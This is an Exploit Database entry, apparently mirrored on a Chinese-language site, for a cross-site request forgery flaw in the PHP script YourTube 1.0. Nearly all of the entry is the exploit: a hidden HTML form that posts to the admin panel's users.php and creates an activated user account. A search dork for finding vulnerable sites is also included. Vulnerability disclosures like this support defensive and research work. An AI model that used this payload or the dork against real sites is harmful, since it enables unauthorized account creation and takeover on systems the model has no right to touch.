YourTube 1.0 – Cross-Site Request Forgery (Add User)

• Exploit Database
• 37 阅读

• 作者： AtT4CKxT3rR0r1ST
  日期： 2011-01-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15892/

• YourTube v1.0 CSRF Vulnerability (Add User)
  ====================================================================
  ####################################################################
  .:. Author : AtT4CKxT3rR0r1ST[F.Hack@w.cn]
  .:. Script : http://www.ac4p.com/
  .:. Dork : inurl:"Powered by YourTube v1.0"
  
  ####################################################################
  
  ===[ Exploit ]===
  
  <form method="POST" name="form0" action="http://localhost/card/admincp/users.php">
  <input type="hidden" name="action" value="Register"/>
  <input type="hidden" name="vusername" value="user1"/>
  <input type="hidden" name="vpass" value="123456"/>
  <input type="hidden" name="email" value="user1@hotmail.com"/>
  <input type="hidden" name="gender" value="m"/>
  <input type="hidden" name="country" value="palestine"/>
  <input type="hidden" name="altoge" value="My signature"/>
  <input type="hidden" name="activated" value="1"/>
  </form>
  
  </body>
  </html>
  
  ####################################################################